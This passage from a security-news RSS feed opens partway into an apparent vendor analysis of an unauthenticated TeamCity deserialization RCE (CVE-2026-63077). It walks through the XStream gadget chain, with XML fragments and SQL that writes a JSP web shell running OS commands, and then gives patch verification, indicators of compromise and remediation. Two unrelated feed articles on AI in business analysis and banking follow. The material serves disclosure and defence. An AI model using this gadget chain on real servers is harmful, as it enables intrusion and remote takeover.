}</pre><p></p><p><span>Error.fromXml()</span><span> calls </span><span>XStreamWrapper.deserializeObject()</span><span>. By providing a suitable gadget chain in the incoming request’s XML body, we can achieve unauthenticated RCE via unsafe deserialization.</span></p><h3><span>The gadget chain</span></h3><p><span>The gadget chain's objective is to make TeamCity call </span><span><span data-type="inlineCode">BasicDataSource.getConnection()</span></span><span> on an attacker-configured object. That getter starts the following path from deserialization to command execution:</span></p><p></p><ol><li><p><span>The payload reconstructs a </span><span><span data-type="inlineCode">BasicDataSource</span></span><span> configured to use TeamCity's bundled HSQLDB driver.</span></p></li><li><p><span>A collection callback causes FreeMarker to resolve the JavaBean property </span><span><span data-type="inlineCode">connection</span></span><span>, which invokes </span><span><span data-type="inlineCode">BasicDataSource.getConnection()</span></span><span>.</span></p></li><li><p><span>Apache DBCP opens a new in-memory HSQLDB database and executes the SQL in </span><span><span data-type="inlineCode">connectionInitSqls</span></span><span>.</span></p></li><li><p><span>The final SQL statement uses HSQLDB's </span><span><span data-type="inlineCode">SCRIPT</span></span><span> command to write a malicious JSPWS file into TeamCity's webroot.</span></p></li><li><p><span>The attacker makes an HTTP request to that JSP file, executing the script's contents server-side, for example </span><span><span data-type="inlineCode">Runtime.getRuntime().exec()</span></span><span> can be used to execute an attacker-controlled OS command.</span></p></li></ol><p><span>The first four steps occur while TeamCity handles the malicious XML request. The fifth requires a second HTTP request. The object graph exists to solve two problems in the first two steps: XStream rejects </span><span><span data-type="inlineCode">BasicDataSource</span></span><span> when the XML names it directly, and merely constructing a datasource does not call its </span><span><span data-type="inlineCode">getConnection()</span></span><span> method. </span></p><h4><span>Object graph construction</span></h4><p><span>The payload's XML root is a three-entry </span><span><span data-type="inlineCode">LinkedHashMap</span></span><span>. Entry one constructs and configures the datasource without naming its concrete class in a new XML node. Entry two presents that datasource to FreeMarker as an object whose properties can be read by name. Entry three forces a lookup of the property named </span><span><span data-type="inlineCode">connection</span></span><span>.</span></p><p></p><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2a835b1e1c45ab1a/6a75f185be33783f5ddaccb8/figure1.png" position="center" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="figure1.png" asset-alt="figure1.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2a835b1e1c45ab1a/6a75f185be33783f5ddaccb8/figure1.png" data-sys-asset-uid="blt2a835b1e1c45ab1a" data-sys-asset-filename="figure1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="figure1.png" sys-style-type="display"></figure><p><span><em>Figure 1: High-level gadget chain flow to </em></span><span>BasicDataSource.getConnection()</span><span><em>.</em></span></p><p></p><p><span>The entries appear in this order in the XML because the later entries refer to objects created by the earlier ones. XStream reconstructs them in document order, and the </span><span><span data-type="inlineCode">LinkedHashMap</span></span><span> retains their insertion order in the resulting Java object.</span></p><h5><span>Entry one: construct and configure the datasource</span></h5><p><span>The first entry begins with </span><span><span data-type="inlineCode">HSQLMetadataStorage$SchemaMismatchException</span></span><span>. This class extends </span><span><span data-type="inlineCode">RuntimeException</span></span><span>, so XStream accepts it under the default </span><span><span data-type="inlineCode">Throwable</span></span><span> hierarchy permission. It is a non-static Java inner class, which means the compiler gives each instance a hidden </span><span>this$0</span><span> field pointing to its enclosing </span><span><span data-type="inlineCode">HSQLMetadataStorage</span></span><span> object. XStream serializes that compiler-generated reference as </span><span><span data-type="inlineCode">outer-class</span></span><span>.</span></p><p></p><p><span>The enclosing </span><span><span data-type="inlineCode">HSQLMetadataStorage</span></span><span> declares a field named </span><span><span data-type="inlineCode">myHSQLStorage</span></span><span> with the exact type </span><span><span data-type="inlineCode">HSQLStorage</span></span><span>. That class, in turn, declares </span><span><span data-type="inlineCode">myDataSource</span></span><span> with the exact type </span><span><span data-type="inlineCode">BasicDataSource</span></span><span>. Because the XML does not represent either field with a new element type or </span><span><span data-type="inlineCode">class</span></span><span> attribute, XStream follows the declared Java field types without performing another explicit lookup for those classes:</span></p><p><span></span></p><pre language="xml">&lt;jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException&gt;
  &lt;outer-class&gt;
    &lt;myHSQLStorage&gt;
      &lt;myDataSource&gt;
        &lt;driverClassName&gt;org.hsqldb.jdbc.JDBCDriver&lt;/driverClassName&gt;
        &lt;url&gt;jdbc:hsqldb:mem:&lt;random&gt;&lt;/url&gt;
        &lt;userName&gt;SA&lt;/userName&gt;
        &lt;connectionInitSqls&gt;
&lt;!-- attacker-controlled HSQLDB statements --&gt;
&lt;/connectionInitSqls&gt;
      &lt;/myDataSource&gt;
    &lt;/myHSQLStorage&gt;
  &lt;/outer-class&gt;
&lt;/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException&gt;</pre><p></p><p><span>XStream encodes the dollar sign in a Java inner-class name as </span><span><span data-type="inlineCode">_-</span></span><span> when it creates an XML element name. The element ending in </span><span><span data-type="inlineCode">HSQLMetadataStorage_-SchemaMismatchException</span></span><span> therefore identifies the Java class </span><span><span data-type="inlineCode">HSQLMetadataStorage$SchemaMismatchException</span></span><span>.</span></p><h5><span>Entry two: expose the datasource through FreeMarker</span></h5><p><span>The first entry leaves a configured datasource in memory, but nothing has called it. The second entry makes its JavaBean properties available through a FreeMarker </span><span><span data-type="inlineCode">HashAdapter</span></span><span>. </span><span><span data-type="inlineCode">HashAdapter</span></span><span> extends </span><span><span data-type="inlineCode">AbstractMap</span></span><span>, so XStream accepts the explicit class under its default </span><span><span data-type="inlineCode">Map</span></span><span> hierarchy permission.</span></p><p></p><p><span>The adapter needs a FreeMarker model that can read properties from the datasource. The payload creates a </span><span><span data-type="inlineCode">BooleanModel</span></span><span> through the exact </span><span><span data-type="inlineCode">BeansWrapper.falseModel</span></span><span> field, then populates the model's inherited </span><span><span data-type="inlineCode">BeanModel.object</span></span><span> field with a reference to the </span><span><span data-type="inlineCode">BasicDataSource</span></span><span> in entry one instead of a Boolean value. Finally, </span><span><span data-type="inlineCode">HashAdapter.model</span></span><span> refers to that </span><span><span data-type="inlineCode">BooleanModel</span></span><span>:</span></p><p><span></span></p><pre language="xml">&lt;freemarker.ext.beans.HashAdapter&gt;
  &lt;wrapper&gt;
    &lt;!-- Class-introspection state from the PoC is omitted here. --&gt;
    &lt;falseModel&gt;
      &lt;object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/&gt;
      &lt;wrapper reference="../.."/&gt;
      &lt;value&gt;false&lt;/value&gt;
    &lt;/falseModel&gt;
    &lt;!-- Remaining BeansWrapper state from the PoC is omitted here. --&gt;
  &lt;/wrapper&gt;
  &lt;model reference="../wrapper/falseModel"/&gt;
&lt;/freemarker.ext.beans.HashAdapter&gt;</pre><p><span></span></p><p><span>The reference attributes preserve object identity rather than create copies. </span><span><span data-type="inlineCode">BooleanModel.object</span></span><span> points to the existing datasource, </span><span><span data-type="inlineCode">HashAdapter.model</span></span><span> points to the existing </span><span><span data-type="inlineCode">BooleanModel</span></span><span>, and </span><span><span data-type="inlineCode">BooleanModel.wrapper</span></span><span> points back to the same </span><span><span data-type="inlineCode">BeansWrapper</span></span><span>. No reference introduces a new concrete class node. In particular, </span><span><span data-type="inlineCode">&lt;object&gt;</span></span><span> does not repeat the </span><span><span data-type="inlineCode">BasicDataSource</span></span><span> type, so XStream does not perform a new explicit lookup for that denied class. The shared </span><span><span data-type="inlineCode">BeansWrapper</span></span><span> supplies the class introspection used later to resolve the </span><span><span data-type="inlineCode">connection</span></span><span> property.</span></p><h5><span>Entry three: trigger the property lookup</span></h5><p><span>The graph can now resolve datasource properties, but it still needs an automatic callback to request one. The third entry uses a </span><span><span data-type="inlineCode">HashSet</span></span><span>, accepted under XStream's default </span><span><span data-type="inlineCode">Collection</span></span><span> hierarchy permission, and a Commons Collections </span><span><span data-type="inlineCode">TiedMapEntry</span></span><span>, accepted under the default </span><span><span data-type="inlineCode">Map.Entry</span></span><span> hierarchy permission. A </span><span><span data-type="inlineCode">TiedMapEntry</span></span><span> ties a key to a backing map. Here, its </span><span><span data-type="inlineCode">map</span></span><span> field refers to the </span><span><span data-type="inlineCode">HashAdapte</span></span><span>r</span><span> from entry two, and its key is the string </span><span><span data-type="inlineCode">connection</span></span><span>:</span></p><p><span></span></p><pre language="xml">&lt;set&gt;
  &lt;org.apache.commons.collections.keyvalue.TiedMapEntry&gt;
    &lt;map class="freemarker.ext.beans.HashAdapter"
         reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/&gt;
&lt;key class="string"&gt;connection&lt;/key&gt;
  &lt;/org.apache.commons.collections.keyvalue.TiedMapEntry&gt;
&lt;/set&gt;</pre><p></p><p><span>The </span><span><span data-type="inlineCode">reference</span></span><span> value is relative to the nested </span><span><span data-type="inlineCode">&lt;map&gt;</span></span><span> element. Four </span><span><span data-type="inlineCode">../</span></span><span> steps return to the </span><span><span data-type="inlineCode">LinkedHashMap</span></span><span> root, and XPath's one-based </span><span><span data-type="inlineCode">entry[2]</span></span><span> index selects the second entry. Reusing that adapter preserves its connection to the </span><span><span data-type="inlineCode">BooleanModel</span></span><span> and, through the model, to the datasource from entry one.</span></p><p></p><p><span>Object construction now ends with one continuous route: </span><span><span data-type="inlineCode">TiedMapEntry</span></span><span> to </span><span><span data-type="inlineCode">HashAdapter</span></span><span>, </span><span><span data-type="inlineCode">HashAdapter</span></span><span> to </span><span><span data-type="inlineCode">BooleanModel</span></span><span>, and </span><span><span data-type="inlineCode">BooleanModel</span></span><span> to </span><span><span data-type="inlineCode">BasicDataSource</span></span><span>. At this point, no database connection has opened yet. The gadget chain triggers when XStream inserts the </span><span><span data-type="inlineCode">TiedMapEntry</span></span><span> into the </span><span><span data-type="inlineCode">HashSet</span></span><span>.</span></p><h4><span>Triggering gadget execution</span></h4><p><span>A </span><span><span data-type="inlineCode">HashSet</span></span><span> stores elements by hash. When XStream inserts the reconstructed </span><span><span data-type="inlineCode">TiedMapEntry</span></span><span>, </span><span><span data-type="inlineCode">HashSet.add()</span></span><span> automatically calls </span><span><span data-type="inlineCode">TiedMapEntry.hashCode()</span></span><span>. That method calls </span><span><span data-type="inlineCode">getValue()</span></span><span>, which performs </span><span><span data-type="inlineCode">map.get(key)</span></span><span> against the referenced </span><span><span data-type="inlineCode">HashAdapter</span></span><span> with </span><span><span data-type="inlineCode">connection</span></span><span> as the key. It is worth noting that this is a mechanism very similar to that used by the classic </span><a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java"><span>CommonsCollections6</span></a><span> ysoserial gadget. However, the existing CommonsCollections6 gadget cannot be used because TeamCity’s XStream permissions reject the </span><span><span data-type="inlineCode">ChainedTransformer</span></span><span> and </span><span><span data-type="inlineCode">InvokerTransformer</span></span><span> classes used by CommonsCollections6.</span></p><p></p><p><span>The resulting call to </span><span><span data-type="inlineCode">HashAdapter.get("connection")</span></span><span> passes the property name </span><span>connection</span><span> to the referenced </span><span><span data-type="inlineCode">BooleanModel</span></span><span>. </span><span><span data-type="inlineCode">BooleanModel</span></span><span> inherits FreeMarker's </span><span><span data-type="inlineCode">BeanModel</span></span><span> property lookup. JavaBeans use a naming convention in which a property named </span><span><span data-type="inlineCode">connection</span></span><span> can be read through a public </span><span><span data-type="inlineCode">getConnection()</span></span><span> method, so FreeMarker invokes </span><span><span data-type="inlineCode">BasicDataSource.getConnection()</span></span><span>.</span></p><p></p><p><span>A Java </span><span><span data-type="inlineCode">DataSource</span></span><span> is a factory for Java Database Connectivity (JDBC) connections. </span><span><span data-type="inlineCode">BasicDataSource</span></span><span> is the Apache Commons Database Connection Pooling (DBCP) implementation bundled with TeamCity. The payload configures it to load TeamCity's bundled HyperSQL Database (HSQLDB) driver and connect to a new in-memory database at a randomized </span><span><span data-type="inlineCode">jdbc:hsqldb:mem:</span></span><span> URL. This database is separate from TeamCity's application database and requires no TeamCity database credentials. DBCP then runs the attacker-controlled </span><span><span data-type="inlineCode">connectionInitSqls</span></span><span>, a list of SQL statements intended to initialize each new connection.</span></p><p></p><p><span>The initialization SQL creates a table containing a JSP scriptlet and asks HSQLDB to serialize the database to an attacker-selected path:</span></p><p><span></span></p><pre language="sql">CREATE TABLE IF NOT EXISTS T&lt;RANDOM&gt;(C&lt;RANDOM&gt; VARCHAR(4000))
INSERT INTO T&lt;RANDOM&gt; VALUES ('&lt;% ... Runtime.getRuntime().exec(command) ... %&gt;')
SCRIPT '../webapps/ROOT/&lt;random-hex&gt;.jspws'</pre><p></p><p><span>HSQLDB's </span><span><span data-type="inlineCode">SCRIPT</span></span><span> statement writes a textual representation of the in-memory database to the supplied path. The payload places a JavaServer Pages (JSP) scriptlet inside a table row, so the resulting SQL script is also a valid JSP template (i.e. a polyglot). This mechanism is similar to the one used by </span><a href="https://secfault-security.com/blog/libreoffice.html"><span>Secfault Security</span></a><span> as part of a LibreOffice exploit.</span></p><h3><span>Executing a JSP payload</span></h3><p><span>Apache Jasper is the JSP engine in TeamCity's servlet container. It compiles JSP source code into Java servlet code that handles an HTTP request, then runs that code inside the TeamCity server's Java process. Whether a path reaches Jasper depends on the servlet mappings in </span><span><span data-type="inlineCode">WEB-INF/web.xml</span></span><span>. TeamCity defines </span><span><span data-type="inlineCode">realJspServlet</span></span><span> as Jasper's </span><span><span data-type="inlineCode">org.apache.jasper.servlet.JspServlet</span></span><span>, then maps the custom </span><span><span data-type="inlineCode">*.jspws</span></span><span> extension directly to it. By contrast, TeamCity sends ordinary </span><span><span data-type="inlineCode">*.jsp</span></span><span> requests to its </span><span><span data-type="inlineCode">buildServer</span></span><span> dispatcher:</span></p><p><span></span></p><pre language="xml">&lt;servlet&gt;
  &lt;servlet-name&gt;realJspServlet&lt;/servlet-name&gt;
  &lt;servlet-class&gt;org.apache.jasper.servlet.JspServlet&lt;/servlet-class&gt;
&lt;/servlet&gt;

&lt;servlet-mapping&gt;
  &lt;servlet-name&gt;realJspServlet&lt;/servlet-name&gt;
  &lt;url-pattern&gt;*.jspws&lt;/url-pattern&gt;
&lt;/servlet-mapping&gt;

&lt;servlet-mapping&gt;
  &lt;servlet-name&gt;buildServer&lt;/servlet-name&gt;
  &lt;url-pattern&gt;*.jsp&lt;/url-pattern&gt;
&lt;/servlet-mapping&gt;</pre><p></p><p><span>The </span><span><span data-type="inlineCode">buildServer</span></span><span> servlet does not dispatch every direct </span><span><span data-type="inlineCode">.jsp</span></span><span> request to Jasper. The corresponding </span><span><span data-type="inlineCode">JspController.doHandle()</span></span><span> method first requires an internal TeamCity request, an authenticated TeamCity user, or an explicit configuration property that permits direct JSP requests. If these are not present, it returns HTTP 403 before the JSP runs:</span></p><p><span></span></p><pre language="java">// web-core.jar!jetbrains.spring.web.JspController

public class JspController extends BaseController implements CustomUrlHandler {
    protected ModelAndView doHandle(@NotNull HttpServletRequest httpServletRequest, @NotNull HttpServletResponse httpServletResponse) throws IOException, ServletException {
// ...
if (!RequestStackCalculationInterceptor.isInnerRequest(request)
        &amp;&amp; SessionUser.getUser(request) == null
        &amp;&amp; !TeamCityProperties.getBoolean(
            "teamcity.jsp.directRequests.allowed"
        )) {
    response.setStatus(403);
    response.getWriter().write("Access denied");
    return null;
}</pre><p><span></span></p><p><span>We therefore target </span><span><span data-type="inlineCode">.jspws</span></span><span>, as this allows a direct anonymous request to reach Jasper, compile the newly written file and execute it. This allows us to execute arbitrary Java such as </span><span><span data-type="inlineCode">Runtime.getRuntime().exec()</span></span><span> which in turn can deliver the payload.</span></p><h2>Exploitation</h2><p><span>A proof-of-concept script for CVE-2026-63077 can be found </span><a href="https://github.com/sfewer-r7/CVE-2026-63077"><span>here</span></a><span>. Organizations can use this script to validate their detection and remediation posture. The exploit script will leverage the gadget chain described in this analysis to write a malicious JSPWS file in order to execute an arbitrary command, before deleting the JSPWS file from disk. An example of its operation is shown below in Figure 2.</span></p><p></p><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt07463067f24e4b1c/6a75f477afd7db392d5294cc/poc2.png" position="center" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="poc2.png" asset-alt="poc2.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt07463067f24e4b1c/6a75f477afd7db392d5294cc/poc2.png" data-sys-asset-uid="blt07463067f24e4b1c" data-sys-asset-filename="poc2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="poc2.png" sys-style-type="display"></figure><p><span><em>Figure 2: Proof-of-concept exploitation.</em></span></p><p></p><p><span>The vendor-supplied patch, version </span><span><span data-type="inlineCode">2026.1.3</span></span><span>, has been verified to successfully prevent the unsafe deserialization of the gadget chain presented in this analysis. The </span><span><span data-type="inlineCode">teamcity-server.log</span></span><span> file on a patched system shows the new XStream </span><span><span data-type="inlineCode">NoTypePermission.NONE</span></span><span> added by the patch to effectively prevent the gadget chain's first entry, </span><span><span data-type="inlineCode">HSQLMetadataStorage$SchemaMismatchException</span></span><span>, from having its type successfully resolved.</span></p><p><span></span></p><pre language="html">[2026-08-07 01:53:09,794]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:58356, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException
	at com.thoughtworks.xstream.security.NoTypePermission.allows(NoTypePermission.java:26)
	at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:74)
	at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:125)
	at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:47)
	...</pre><h2>IOC</h2><p><span>On an exploited system, the TeamCity server logs will contain detailed exception traces due to the deserialization gadget causing a Java exception to be thrown. For example, in the log file </span><span><span data-type="inlineCode">C:\TeamCity\logs\teamcity-server.log</span></span><span> the following may be present. This identifies the vulnerable URI path, the attacker's IP address, and an exception that correlates to the gadget chain being used for exploitation. Note: the full stack trace has been removed for brevity:</span></p><p></p><pre language="html">[2026-08-07 00:36:36,467]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:52728, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------
	at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:81)
	at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
	...</pre><p></p><p><span>A similar exception in a </span><span><span data-type="inlineCode">javaLogging</span></span><span> file (for example, </span><span><span data-type="inlineCode">C:\TeamCity\logs\teamcity-javaLogging-2026-08-07.log</span></span><span>) will also show the gadget chain’s JSPWS payload as part of an </span><span><span data-type="inlineCode">org.hsqldb.HsqlException</span></span><span> message:</span></p><p><span></span></p><pre language="html">07-Aug-2026 00:36:36.462 SEVERE [http-nio-8111-exec-4] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [buildServer] in context with path [] threw exception [Request processing failed; nested exception is com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------] with root cause
	org.hsqldb.HsqlException: file input/output error: ../webapps/ROOT/682aed03b49b.jspws already exists
		at org.hsqldb.error.Error.error(Unknown Source)
	...</pre><h2>Remediation</h2><p><span>For remediation guidance, please see Rapid7’s Emergent Threat Response </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-63077-critical-unauthenticated-remote-code-execution-in-jetbrains-teamcity/"><span>blog</span></a><span> for CVE-2026-63077, which contains further details.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How AI is changing the business analyst role for the better]]></title>
<description><![CDATA[AI’s impact has been felt across nearly every industry, and its rise has already started to alter several roles in tech, including that of the business analyst. While the rise of agentic AI may have some questioning whether AI will replace business analyst jobs entirely, as we’ve seen with most r...]]></description>
<link>https://tsecurity.de/de/3710293/it-security-nachrichten/how-ai-is-changing-the-business-analyst-role-for-the-better/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710293/it-security-nachrichten/how-ai-is-changing-the-business-analyst-role-for-the-better/</guid>
<pubDate>Fri, 07 Aug 2026 23:48:04 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AI’s impact has been felt across nearly every industry, and its rise has already started to alter several roles in tech, including that of the <a href="https://www.cio.com/article/276798/what-is-a-business-analyst-a-key-role-for-business-it-efficiencywhat-is-a-business-analyst-a-key-role-for-business-it-efficiency.html">business analyst</a>. While the rise of agentic AI may have some questioning whether AI will replace business analyst jobs entirely, as we’ve seen with most roles impacted by AI, it’s more likely that AI will augment the role and fundamentally change how BA’s conduct daily business.</p>



<p class="wp-block-paragraph">“As AI takes on more routine tasks, the human side of the role is becoming even more valuable. It’s becoming more of a hybrid role, where employers are often looking for candidates who can combine technical fluency with strong communication and problem-solving skills, along with sound business judgment,” says Megan Slabinski, district president of technology talent solutions at Robert Half.</p>



<p class="wp-block-paragraph">AI can save business analysts time in the long run, automating many of the tasks that are time consuming and repetitive around data processing, note taking, and documentation. While automation will impact the daily tasks of the role, business analysts will still be necessary for properly interpreting outputs, collaborating across teams, and maintaining compliance and AI workflows.</p>



<h2 class="wp-block-heading">AI-driven analysis and automated workflows</h2>



<p class="wp-block-paragraph">With AI-driven analysis, BA’s can use machine learning models for pattern detection, determining risk, and for forecasting demand, while natural language processing (NLP) can be used for text-heavy inputs. AI tools can also assist analysts with decision-making by transcribing meetings and automatically identifying any necessary business requirements, constraints, risks, or dependencies that will impact the project.</p>



<p class="wp-block-paragraph">As a result, the role is undergoing a shift toward spending less time on monotonous, routine tasks, and instead “spending more time connecting the dots and providing strategic context earlier in the process,” says Slabinksi.</p>



<p class="wp-block-paragraph">“We’re seeing that business analysts today aren’t spending as much time as they were a few years ago on some manual processes. AI is speeding up tasks like documenting requirements, summarizing stakeholder meetings, generating first drafts of user stories, and even helping create SQL queries or reports,” she adds.</p>



<p class="wp-block-paragraph">AI can also assist business analysts with interviews and workshops for the discovery phase of a project and autonomously identify patterns in the data that might be overlooked or missed by the human eye. These tools can also enable BAs to create living models that can be adjusted and altered with feedback, as opposed to traditional static documents, and allow for an automated review process for data validation. In terms of maintenance and change management, AI can help with predictive recommendations to get ahead of risks, compliance, and future process updates.</p>



<p class="wp-block-paragraph">That said, an increased reliance on AI tools while require business analysts to validate AI outputs and assure AI-generated content is accurate, relevant, and ultimately aligned with the overall business strategy. Still responsible for explaining the reasons behind business decisions, business analysts will also need to identifying bias and fairness concerns associated with AI use, and ensure decisions aren’t over-automated.</p>



<p class="wp-block-paragraph">Ultimately, BA’s will see their responsibilities shift to focusing more on data interpretation, governance, and strategy, and identifying the most practical use cases for enterprise AI adoption.</p>



<h2 class="wp-block-heading">New skills to focus on</h2>



<p class="wp-block-paragraph">Traditionally, business analysts are responsible for gathering the data as well as processing it for analysis. This comes with a lot of drudgery that can be eased by implementing AI tools into the workflow. Tasks such as routine documentation, formatting, and data crunching can be automated, while analysts provide the human context around that data, as well as a critical eye to the final output.</p>



<p class="wp-block-paragraph">“Business analysts are often in the mix to make sure that data is accurate and that the requirements are in line with expected outcomes. They can also help ensure AI projects include the appropriate level of human oversight, comply with internal policies and industry regulations, and use data responsibly. While they aren’t solely responsible for AI governance, they often play an important role in raising questions about data sources, bias, whether the outputs make sense, and potential business risks early in a project,” says Slabinski.</p>



<p class="wp-block-paragraph">BAs will need to develop AI literacy skills to better understand how models are trained and designed as well as data reasoning skills to interpret and validate AI outputs. Prompt-framing skills will also become valuable as analysts will need to know how to properly structure inputs for quality outputs. There will also be a growing emphasis on ethical analysis to identify compliance, bias, and overall fairness of algorithms, and qualified candidates will require strong change management skills to help oversee the adoption of AI-driven workflows.</p>



<p class="wp-block-paragraph">“The skills becoming more important are the ones that help BAs evaluate AI-generated information and translate it into business recommendations. AI literacy is becoming a baseline expectation, and that includes knowing things like how to query the data and support requirements gathering. Critical thinking, communication, and business acumen are all part of that skill set because employers still need people who can explain what the findings mean and why they matter,” says Slabinski.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Beyond chatbots: How embedded GenAI is transforming banking application development]]></title>
<description><![CDATA[Business application development is entering a new operating model. The traditional approach of gathering requirements, designing screens, writing services, integrating systems, testing, fixing defects and preparing release documentation still exists, but it is no longer sufficient for enterprise...]]></description>
<link>https://tsecurity.de/de/3710290/it-security-nachrichten/beyond-chatbots-how-embedded-genai-is-transforming-banking-application-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710290/it-security-nachrichten/beyond-chatbots-how-embedded-genai-is-transforming-banking-application-development/</guid>
<pubDate>Fri, 07 Aug 2026 23:48:03 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Business application development is entering a new operating model. The traditional approach of gathering requirements, designing screens, writing services, integrating systems, testing, fixing defects and preparing release documentation still exists, but it is no longer sufficient for enterprises that need speed, traceability, resilience and regulatory confidence at the same time. Hyperautomation brings a broader discipline to this challenge. It combines workflow orchestration, intelligent document processing, robotic automation, API-led integration, process mining, test automation, observability and artificial intelligence into a connected delivery fabric. With embedded Generative AI, this fabric becomes more adaptive because applications can interpret natural language, summarize complex data, generate explanations, detect exceptions and support decision workflows rather than merely execute predefined rules.</p>



<p class="wp-block-paragraph">In banking, this shift is especially meaningful. Banks operate across dense application landscapes: trade reporting platforms, wealth management portals, core banking systems, investment banking applications, digital compliance engines, reconciliation utilities, operational dashboards, audit repositories and daily, weekly and monthly reporting platforms. Each of these areas has its own data models, control points, integration patterns, validation rules, exception paths and regulatory obligations. Hyperautomation does not replace engineering discipline; it strengthens it by making business intent, technical execution, control evidence and continuous improvement part of the same lifecycle.</p>



<h2 class="wp-block-heading">From automation to hyperautomation in banking applications</h2>



<p class="wp-block-paragraph">Automation usually addresses a specific task: moving data from one system to another, generating a report, running a batch job or validating a transaction against a rule. Hyperautomation goes further. It looks at the complete business outcome and asks how the entire chain can be streamlined, governed, observed and improved. For example, a trade reporting process may begin with transaction capture, enrich the trade with reference data, validate regulatory fields, identify breaks, generate a submission file, transmit it to a regulator or trade repository, monitor acknowledgements and preserve audit evidence. A narrow automation script may accelerate one step, but a <a href="https://www.gartner.com/en/documents/6454507">hyperautomated design</a> coordinates the complete flow, including exception handling and evidence generation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/figure-Figure-automation-vs-hyperautomation.png?w=1024" alt="Figure: Automation vs. hyperautomation." class="wp-image-4206308" width="1024" height="775" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p class="wp-block-paragraph"><strong>Figure: Automation vs. hyperautomation</strong></p>



